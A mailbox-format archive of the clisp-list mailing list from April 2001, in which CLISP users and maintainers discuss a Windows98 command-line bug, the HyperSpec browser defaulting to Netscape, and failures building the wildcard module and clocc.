X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Problem with Windows98: SYSTEM::%EXPAND-FORM: invalid form (".BA T")" > * Sent on Wed, 11 Apr 2001 13:28:02 -0700 > * Honorable "Ribeiro, Glauber" writes: > > (1) when installing, when i do (load "src/config.fas"), it complains that > i'm overwriting the CLHS-ROOT function, and drops me in the debugger. I think this is fixed in the current sources. > (2) when i run specifying a file in the command-line > (for example: clisp file.lisp), i get the following error: > SYSTEM::%EXPAND-FORM: invalid form (".BAT") > and instead of executing the file, CLISP puts me in the read-eval loop. > If i (load "file.lisp") in the read-eval loop, it works fine. I just fixed this in the CVS. Thanks for reporting the bug. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on main(a){printf(a,34,a="main(a){printf(a,34,a=%c%s%c,34);}",34);} From bruce253@163.net Wed Apr 18 16:58:07 2001 Received: from [211.101.174.194] (helo=ibm3500) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14q1pl-0001Do-00 for ; Wed, 18 Apr 2001 16:58:06 -0700 Received: from [211.101.174.194] by ibm3500 (ArGoSoft Mail Server, Version 1.4 (1.4.0.2)); Thu, 19 Apr 2001 07:55:28 Message-ID: <3ADE28F2.6010107@163.net> Date: Thu, 19 Apr 2001 07:53:22 +0800 From: Debian User Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; m18) Gecko/20001103 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Can't find netscape Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Dear all, I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18. When I want to view the HyperSpec in Emacs via C-c H, ilisp complained that there is no program named `netscape'. Then I made a symbolic link to mozilla, and that lauched the program, but left the address blank and did not go to the relevant page. I checked `clhs.lisp' and found that the problem seems to be caused by hardcoding `:netscape' as the default `*browser*' in function definition of `clhs'. Even though I tried to set *browser* to another value, it did not help. Does anybody ever meet the same problem? Best! -- "Today's robots are very primitive, capable of understanding only a few simple instructions such as 'go left', 'go right', and 'build car'." --John Sladek From peter.wood@worldonline.dk Wed Apr 18 23:32:34 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14q7zV-000781-00 for ; Wed, 18 Apr 2001 23:32:33 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 12913B4FC for ; Thu, 19 Apr 2001 08:32:30 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f3J6RxU00227; Thu, 19 Apr 2001 08:27:59 +0200 Date: Thu, 19 Apr 2001 08:27:59 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can't find netscape Message-ID: <20010419082759.A196@localhost.localdomain> References: <3ADE28F2.6010107@163.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3ADE28F2.6010107@163.net>; from bruce253@163.net on Thu, Apr 19, 2001 at 07:53:22AM +0800 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Thu, Apr 19, 2001 at 07:53:22AM +0800, Debian User Bruce wrote: > Dear all, > > I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18. When I want > to view the HyperSpec in Emacs via C-c H, ilisp complained that there is > no program named `netscape'. Then I made a symbolic link to mozilla, > and that lauched the program, but left the address blank and did not go > to the relevant page. > > I checked `clhs.lisp' and found that the problem seems to be caused by > hardcoding `:netscape' as the default `*browser*' in function definition > of `clhs'. Even though I tried to set *browser* to another value, it > did not help. > Hi (I assume your problem is not caused by emacs settings). You should add mozilla to the list of available browsers in *browsers*. If I evaluate "*browsers*" I get: ((:NETSCAPE "netscape" "-remote" "openURL(~a,new-window)") (:LYNX "xterm" "-e" "lynx" "~a") (:W3M "xterm" "-e" "w3m" "~a") (:MMM "mmm" "-external" "~a") (:MOSAIC "xmosaic" "~a") (:EMACS-W3 "gnudoit" "-q" "(w3-fetch \"~a\")")) So I can say "(clhs 'defun :browser :LYNX)", and it will start an xterm with lynx running on the page of the HS regarding 'defun. The default is to run netscape, if you don't specify a browser. So you need to find out what M18 wants to start it like this, and push that list onto the *browser* list. It's probably similar to netscape, so you could try: (push '(:MOZILLA "mozilla" "-remote" "openURL(~a,new-window)") *browsers*) If that doesn't work, find out what M18 wants to start like this. Regards, Peter From sds@gnu.org Thu Apr 19 07:28:15 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qFPq-0000TR-00 for ; Thu, 19 Apr 2001 07:28:14 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA10599; Thu, 19 Apr 2001 09:28:12 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: Debian User Bruce Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can't find netscape References: <3ADE28F2.6010107@163.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3ADE28F2.6010107@163.net> Date: 19 Apr 2001 10:25:12 -0400 Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <3ADE28F2.6010107@163.net> > * On the subject of "[clisp-list] Can't find netscape" > * Sent on Thu, 19 Apr 2001 07:53:22 +0800 > * Honorable Debian User Bruce writes: > > I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18. When I > want to view the HyperSpec in Emacs via C-c H, ilisp complained that > there is no program named `netscape'. Then I made a symbolic link to > mozilla, and that lauched the program, but left the address blank and > did not go to the relevant page. this is a problem with Emacs/Ilisp, not with CLISP. > I checked `clhs.lisp' and found that the problem seems to be caused by > hardcoding `:netscape' as the default `*browser*' in function > definition of `clhs'. Even though I tried to set *browser* to another > value, it did not help. Fixed, thanks for the bug report. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on cogito cogito ergo cogito sum From peter.wood@worldonline.dk Thu Apr 19 08:59:16 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qGpv-0003bl-00 for ; Thu, 19 Apr 2001 08:59:15 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 6BF01B507 for ; Thu, 19 Apr 2001 17:59:12 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f3JFuJ705029; Thu, 19 Apr 2001 17:56:19 +0200 Date: Thu, 19 Apr 2001 17:56:19 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can't find netscape Message-ID: <20010419175619.A5017@localhost.localdomain> References: <3ADE28F2.6010107@163.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Apr 19, 2001 at 10:25:12AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Thu, Apr 19, 2001 at 10:25:12AM -0400, Sam Steingold wrote: > > * Honorable Debian User Bruce writes: > > > > I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18. When I > > want to view the HyperSpec in Emacs via C-c H, ilisp complained that > > there is no program named `netscape'. Then I made a symbolic link to > > mozilla, and that lauched the program, but left the address blank and > > did not go to the relevant page. > > this is a problem with Emacs/Ilisp, not with CLISP. How can it be a problem with Emacs/Ilisp if putting in a symlink from netscape to mozilla resulted in the program launching. > > > I checked `clhs.lisp' and found that the problem seems to be caused by > > hardcoding `:netscape' as the default `*browser*' in function > > definition of `clhs'. Even though I tried to set *browser* to another > > value, it did not help. > > Fixed, thanks for the bug report. You puzzle me, Sam. Why is it a bug? He doesn't *have* netscape on his machine, so how is it supposed to start it? He needs to put his browser into the list of *browsers*, with whatever strings are necessary to start it. If I want to use the "links" browser, I do: (push '(:LINKS "xterm" "-e" "links" "~a") *browsers*) Then I can say (clhs 'defun :browser :LINKS). He just needs to do the same thing for his browser (mozilla). But maybe I am not seeing something. Regards Peter From sds@gnu.org Thu Apr 19 10:42:08 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qIRT-00027s-00 for ; Thu, 19 Apr 2001 10:42:08 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA09308; Thu, 19 Apr 2001 13:42:01 -0400 (EDT) X-Envelope-To: To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can't find netscape References: <3ADE28F2.6010107@163.net> <20010419175619.A5017@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010419175619.A5017@localhost.localdomain> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 Date: 19 Apr 2001 13:39:45 -0400 Message-ID: Lines: 46 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: sorry that I was not clear. > * In message <20010419175619.A5017@localhost.localdomain> > * On the subject of "Re: [clisp-list] Can't find netscape" > * Sent on Thu, 19 Apr 2001 17:56:19 +0200 > * Honorable Peter Wood writes: > > On Thu, Apr 19, 2001 at 10:25:12AM -0400, Sam Steingold wrote: > > > > * Honorable Debian User Bruce writes: > > > > > > I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18. When I > > > want to view the HyperSpec in Emacs via C-c H, ilisp complained that > > > there is no program named `netscape'. Then I made a symbolic link to > > > mozilla, and that lauched the program, but left the address blank and > > > did not go to the relevant page. > > > > this is a problem with Emacs/Ilisp, not with CLISP. > > How can it be a problem with Emacs/Ilisp if putting in a symlink from > netscape to mozilla resulted in the program launching. Emacs/Ilisp was calling "netscape" which was not installed on his machine. the right solution is not to make a symlink, but to tell Emacs/Ilisp to use mozilla. CLISP has nothing to do with the problem - that was the gist of my note. > > > I checked `clhs.lisp' and found that the problem seems to be caused by > > > hardcoding `:netscape' as the default `*browser*' in function > > > definition of `clhs'. Even though I tried to set *browser* to another > > > value, it did not help. > > > > Fixed, thanks for the bug report. > > Why is it a bug? the bug is that the default browser for CLHS was :NETSCAPE and not *BROWSER*. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on If a train station is a place where a train stops, what's a workstation? From bruce253@163.net Thu Apr 19 17:34:01 2001 Received: from [211.101.174.194] (helo=ibm3500) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qOs4-0007fW-00 for ; Thu, 19 Apr 2001 17:34:00 -0700 Received: from [211.101.174.194] by ibm3500 (ArGoSoft Mail Server, Version 1.4 (1.4.0.2)); Fri, 20 Apr 2001 08:31:26 Message-ID: <3ADF82DD.5090309@163.net> Date: Fri, 20 Apr 2001 08:29:17 +0800 From: Debian User Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; m18) Gecko/20001103 X-Accept-Language: en, zh-cn MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] Can't find netscape References: <3ADE28F2.6010107@163.net> <20010419175619.A5017@localhost.localdomain> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold wrote: > Emacs/Ilisp was calling "netscape" which was not installed on his > machine. the right solution is not to make a symlink, but to tell > Emacs/Ilisp to use mozilla. > > CLISP has nothing to do with the problem - that was the gist of my > note. Indeed, Sam is correct. I realized that, too. The only troble is I don't know how to make it work with mozilla. Does anybody know how to call mozilla, either in clisp or using ilisp? I suppose if one knows one thing, one knows the other. >>>> I checked `clhs.lisp' and found that the problem seems to be caused by >>>> hardcoding `:netscape' as the default `*browser*' in function >>>> definition of `clhs'. Even though I tried to set *browser* to another >>>> value, it did not help. >>> >>> Fixed, thanks for the bug report. >> >> Why is it a bug? > > the bug is that the default browser for CLHS was :NETSCAPE and not > *BROWSER*. Yes, that's a bug. Otherwise, *BROWSER* is meaningless if the function `clhs' does not use it as a default argument. From peter.wood@worldonline.dk Fri Apr 20 00:21:44 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qVEd-0005qL-00 for ; Fri, 20 Apr 2001 00:21:43 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 5A306B4D3 for ; Fri, 20 Apr 2001 09:21:36 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f3K7IlV00266; Fri, 20 Apr 2001 09:18:48 +0200 Date: Fri, 20 Apr 2001 09:18:47 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can't find netscape Message-ID: <20010420091847.A233@localhost.localdomain> References: <3ADE28F2.6010107@163.net> <20010419175619.A5017@localhost.localdomain> <3ADF82DD.5090309@163.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3ADF82DD.5090309@163.net>; from bruce253@163.net on Fri, Apr 20, 2001 at 08:29:17AM +0800 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, Apr 20, 2001 at 08:29:17AM +0800, Debian User Bruce wrote: > > the bug is that the default browser for CLHS was :NETSCAPE and not > > *BROWSER*. > > Yes, that's a bug. Otherwise, *BROWSER* is meaningless if the function > `clhs' does not use it as a default argument. Ok, ok. It's a bug. But it won't arise if you specify a browser when you call clhs. So did you try: (push '(:MOZILLA "mozilla" "-remote" "openURL(~a,new-window)") *browsers*) And then: (clhs 'foo :browser :MOZILLA) ???? [I don't use mozilla so I can't check. A quick search told me there have been bugs concerning starting both netscape and mozilla. I don't know if they are still open. I think the "-remote" option is the only one implemented in mozilla, and that the above might only work if mozilla is already running.] Peter From bruce253@163.net Fri Apr 20 01:31:33 2001 Received: from [211.101.174.194] (helo=ibm3500) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qWK9-0005Mz-00 for ; Fri, 20 Apr 2001 01:31:32 -0700 Received: from [211.101.174.194] by ibm3500 (ArGoSoft Mail Server, Version 1.4 (1.4.0.2)); Fri, 20 Apr 2001 16:28:50 Message-ID: <3ADFF2BC.4030507@163.net> Date: Fri, 20 Apr 2001 16:26:36 +0800 From: Debian User Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; m18) Gecko/20001103 X-Accept-Language: en, zh-cn MIME-Version: 1.0 To: Peter Wood CC: clisp-list Subject: Re: [clisp-list] Can't find netscape References: <3ADE28F2.6010107@163.net> <20010419175619.A5017@localhost.localdomain> <3ADF82DD.5090309@163.net> <20010420091847.A233@localhost.localdomain> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Peter Wood wrote: > Ok, ok. It's a bug. But it won't arise if you specify a browser when you call > clhs. So did you try: > > (push '(:MOZILLA "mozilla" "-remote" "openURL(~a,new-window)") *browsers*) > > And then: > > (clhs 'foo :browser :MOZILLA) That has the same effect as symlinking. The mozilla is started waiting me to inpt at the address box. > [I don't use mozilla so I can't check. A quick search told me there have been > bugs concerning starting both netscape and mozilla. I don't know if they are > still open. I think the "-remote" option is the only one implemented in > mozilla, and that the above might only work if mozilla is already running.] Netscape 4.x can work perfectly well with ilisp 5.10.1 and clisp when I was running RedHat 6.x. Now I'm running Debian distro and mozilla M18. Thus I guess the problem lies at mozilla. BTW, when I use `clhs', I have to exit from the browser before I can return to work with clisp. That seems to be too inflexible. When I use ilisp, I'm not constrained that way. Don't know whether that can be considered as a bug and be fixed, but I can work around that problem with emacs plus ilisp. So before finding out ways to work with mozilla, I can customize Emacs and let ilisp choose lynx-emacs as the default browser and be free from the constraint mentioned above. Best! -- A girl's best friend is her mutter. -- Dorothy Parker From davep@davep.org Fri Apr 20 05:25:06 2001 Received: from anchor-post-34.mail.demon.net ([194.217.242.92]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qZyD-0004ti-00 for ; Fri, 20 Apr 2001 05:25:06 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-34.mail.demon.net with esmtp (Exim 2.12 #1) id 14qZyB-000DKQ-0Y for clisp-list@lists.sourceforge.net; Fri, 20 Apr 2001 13:25:03 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id NAA16008 for clisp-list@lists.sourceforge.net; Fri, 20 Apr 2001 13:24:44 +0100 Date: Fri, 20 Apr 2001 13:24:44 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Message-ID: <20010420132444.W20026@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Setting Orange, Day 37 of the season of Discord, Anno Mung 3167 Subject: [clisp-list] Problems building wildcard module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I'm attempting to build the latest clisp from CVS and there appears to be a problem when building the wildcard module. The build process got as far as building wildcard and then stopped with: ,---- | Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ... | *** - There is no package with name "WILDCARD" `---- at that point lisp.run seemed to hog the processor and nothing more happened. Hitting Ctrl-C didn't help so I ended up having to kill the process. This is on a RedHat 6.2 GNU/Linux box. gcc is: ,---- | davep@hagbard:~$ gcc -v | Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs | gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release) `---- -- Dave Pearson: | lbdb.el - LBDB interface. http://www.davep.org/ | sawfish.el - Sawfish mode. Emacs: | uptimes.el - Record emacs uptimes. http://www.davep.org/emacs/ | quickurl.el - Recall lists of URLs. From davep@davep.org Fri Apr 20 05:44:57 2001 Received: from anchor-post-33.mail.demon.net ([194.217.242.91]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qaHR-0006pb-00 for ; Fri, 20 Apr 2001 05:44:57 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 14qaHO-000FUn-0X for clisp-list@lists.sourceforge.net; Fri, 20 Apr 2001 13:44:54 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id NAA17308 for clisp-list@lists.sourceforge.net; Fri, 20 Apr 2001 13:43:40 +0100 Date: Fri, 20 Apr 2001 13:43:40 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Message-ID: <20010420134340.X20026@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20010420132444.W20026@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010420132444.W20026@hagbard.davep.org>; from davep@davep.org on Fri, Apr 20, 2001 at 01:24:44PM +0100 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Setting Orange, Day 37 of the season of Discord, Anno Mung 3167 Subject: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, Apr 20, 2001 at 01:24:44PM +0100, Dave Pearson wrote: > The build process got as far as building wildcard and then stopped with: > > ,---- > | Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ... > | *** - There is no package with name "WILDCARD" > `---- > > at that point lisp.run seemed to hog the processor and nothing more > happened. Hitting Ctrl-C didn't help so I ended up having to kill the > process. Having managed to build the latest clisp by removing WILDCARD from the list of modules I'm now trying to build the latest version of clocc (I'm trying to get the latest clisp going so I can get the latest clocc going as it seems the latest clocc needs the latest clisp). On doing a "make clocc-top" I get the following error: ,---- | ;; Loading file clocc.fas ... | ;; Loading of file clocc.fas is finished. | ;; Loading file src/defsystem-3.x/defsystem.fas ... | *** - FIND-ALL-SYMBOLS: argument # should be a string or a symbol `---- and, at that point, lisp.run seems to be "stuck" and seems to hog the processor. I've also observed this behaviour when trying to compile a file of my own. -- Dave Pearson http://www.davep.org/ From marcoxa@cs.nyu.edu Fri Apr 20 06:30:59 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qazy-0002k5-00 for ; Fri, 20 Apr 2001 06:30:58 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id JAA23299; Fri, 20 Apr 2001 09:29:41 -0400 Date: Fri, 20 Apr 2001 09:29:41 -0400 Message-Id: <200104201329.JAA23299@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: peter.wood@worldonline.dk, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 19 Apr 2001 13:39:45 -0400) Subject: Re: [clisp-list] Can't find netscape References: <3ADE28F2.6010107@163.net> <20010419175619.A5017@localhost.localdomain> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > X-Envelope-To: > Cc: clisp-list@lists.sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net ... > > > this is a problem with Emacs/Ilisp, not with CLISP. > > > > How can it be a problem with Emacs/Ilisp if putting in a symlink from > > netscape to mozilla resulted in the program launching. > > Emacs/Ilisp was calling "netscape" which was not installed on his > machine. the right solution is not to make a symlink, but to tell > Emacs/Ilisp to use mozilla. > > CLISP has nothing to do with the problem - that was the gist of my > note. > > > > > I checked `clhs.lisp' and found that the problem seems to be caused by > > > > hardcoding `:netscape' as the default `*browser*' in function > > > > definition of `clhs'. Even though I tried to set *browser* to another > > > > value, it did not help. > > > > > > Fixed, thanks for the bug report. > > > > Why is it a bug? > > the bug is that the default browser for CLHS was :NETSCAPE and not > *BROWSER*. And from this discussion I gather that ILISP too is not to blame. :) Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From sds@gnu.org Fri Apr 20 09:18:41 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qdcH-00014h-00 for ; Fri, 20 Apr 2001 09:18:41 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA11125; Fri, 20 Apr 2001 11:18:39 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010420134340.X20026@hagbard.davep.org> Date: 20 Apr 2001 12:15:44 -0400 Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010420134340.X20026@hagbard.davep.org> > * On the subject of "[clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module)" > * Sent on Fri, 20 Apr 2001 13:43:40 +0100 > * Honorable Dave Pearson writes: > > On Fri, Apr 20, 2001 at 01:24:44PM +0100, Dave Pearson wrote: > > > The build process got as far as building wildcard and then stopped with: > > > > ,---- > > | Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ... > > | *** - There is no package with name "WILDCARD" > > `---- > > > > at that point lisp.run seemed to hog the processor and nothing more > > happened. Hitting Ctrl-C didn't help so I ended up having to kill the > > process. latest CLISP means the CVS version, right? I will fix this right away. > | ;; Loading file clocc.fas ... > | ;; Loading of file clocc.fas is finished. > | ;; Loading file src/defsystem-3.x/defsystem.fas ... > | *** - FIND-ALL-SYMBOLS: argument # should be a string or a symbol please recompile defsystem -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on nobody's life, liberty or property are safe while the legislature is in session From davep@davep.org Fri Apr 20 09:42:59 2001 Received: from anchor-post-33.mail.demon.net ([194.217.242.91]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qdzn-0003mw-00 for ; Fri, 20 Apr 2001 09:42:59 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 14qdzl-000NpP-0X for clisp-list@lists.sourceforge.net; Fri, 20 Apr 2001 17:42:57 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id RAA19579 for clisp-list@lists.sourceforge.net; Fri, 20 Apr 2001 17:38:28 +0100 Date: Fri, 20 